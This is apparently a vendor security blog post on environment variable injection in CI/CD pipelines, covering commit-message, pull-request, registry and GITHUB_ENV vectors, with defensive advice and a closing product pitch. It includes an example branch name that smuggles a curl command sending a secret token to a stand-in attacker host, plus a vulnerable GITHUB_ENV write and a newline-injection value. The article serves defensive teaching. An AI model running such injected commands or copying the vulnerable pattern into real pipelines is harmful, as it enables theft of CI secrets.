DevSecOps

Environment Variable Injection in CI/CD Pipelines

Environment variables in CI/CD systems carry secrets, configuration, and control flow. When attackers can inject or modify them, everything breaks.

Yukti Singhal
Security Researcher
4 min read

CI/CD pipelines run on environment variables. Secrets, configuration, build parameters, branch names, commit messages -- they all flow through environment variables. When an attacker can inject or modify these variables, they can steal secrets, alter build behavior, or poison artifacts.

This attack surface is growing because CI/CD systems are becoming more complex, with more integrations, more plugins, and more data flowing through environment variables from untrusted sources.

How Environment Variable Injection Works

Through Commit Messages and Branch Names

Most CI/CD systems expose Git metadata as environment variables. The branch name becomes $BRANCH_NAME or $GITHUB_REF. The commit message becomes $COMMIT_MESSAGE or similar. The pull request title and body are also commonly available.

If a pipeline script uses these variables without sanitization, an attacker can inject commands by crafting a branch name or commit message containing shell metacharacters.

Consider a pipeline step like:

echo "Building branch $BRANCH_NAME"

If the branch name is main; curl attacker.com/steal?token=$SECRET_TOKEN, the shell executes both commands. The attacker receives the secret token.

Through Pull Request Labels and Descriptions

Some CI/CD systems pass pull request metadata as environment variables. An attacker who can create or modify pull requests (which includes any contributor in open-source projects) can inject values through PR titles, descriptions, or labels.

Through Dependency Resolution

Build scripts often use environment variables to configure dependency resolution. Variables like NPM_REGISTRY, PIP_INDEX_URL, or MAVEN_REPO control where packages are downloaded from. If an attacker can set these variables (through workflow configuration or environment file injection), they can redirect dependency downloads to a malicious registry.

Through Environment Files

GitHub Actions supports .env files and the $GITHUB_ENV mechanism for setting environment variables across steps. If a step writes to $GITHUB_ENV based on untrusted input, subsequent steps inherit the injected variables.

# Vulnerable: untrusted input written to GITHUB_ENV
echo "PACKAGE_NAME=${{ github.event.inputs.package }}" >> $GITHUB_ENV

An attacker can inject a newline and additional variable assignments:

legitimate-package
SECRET_OVERRIDE=malicious-value

Real-World Examples

GitHub Actions set-output injection. The deprecated ::set-output command in GitHub Actions was vulnerable to injection through values containing newline characters. An attacker could set arbitrary output variables that downstream steps consumed as trusted configuration.

CircleCI environment variable exposure. The 2023 CircleCI security incident involved unauthorized access to customer environment variables, including secrets stored in project settings. This demonstrated that the CI/CD platform itself is a high-value target for accessing environment variables.

Jenkins environment variable leakage. Jenkins plugins have had numerous vulnerabilities where environment variables (including credentials) were logged to build output, stored in build metadata, or accessible through the Jenkins API.

Defensive Measures

Never interpolate untrusted data in shell commands. Use parameterized commands or pipe input through stdin instead of string interpolation. In GitHub Actions, use ${{ }} expressions in with: blocks rather than in run: blocks where shell interpolation occurs.

Sanitize Git metadata. Strip or encode special characters from branch names, commit messages, and PR descriptions before using them in scripts. Better yet, do not use them in shell commands at all.

Restrict environment variable scope. Limit secret environment variables to the specific steps that need them. GitHub Actions supports per-step environment variable scoping with the env: key.

Use OIDC tokens instead of long-lived secrets. Modern CI/CD platforms support OIDC token exchange for cloud provider authentication. This eliminates the need for storing cloud credentials as environment variables.

Audit environment variable usage. Regularly review your pipeline definitions for patterns where untrusted input flows into environment variables or shell commands. Automated scanning tools like Semgrep can detect common injection patterns in workflow files.

Monitor for unauthorized variable access. Log and alert on access to secret environment variables. If a step that should not need a particular secret accesses it, investigate.

How Safeguard.sh Helps

Safeguard.sh provides visibility into your CI/CD pipeline security posture. Our platform analyzes pipeline configurations for common injection vulnerabilities, monitors dependency resolution to detect registry redirection attacks, and tracks the security of CI/CD plugins and actions in your workflow. When combined with our SBOM generation, you get assurance that your build pipeline produces artifacts from known, verified components.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.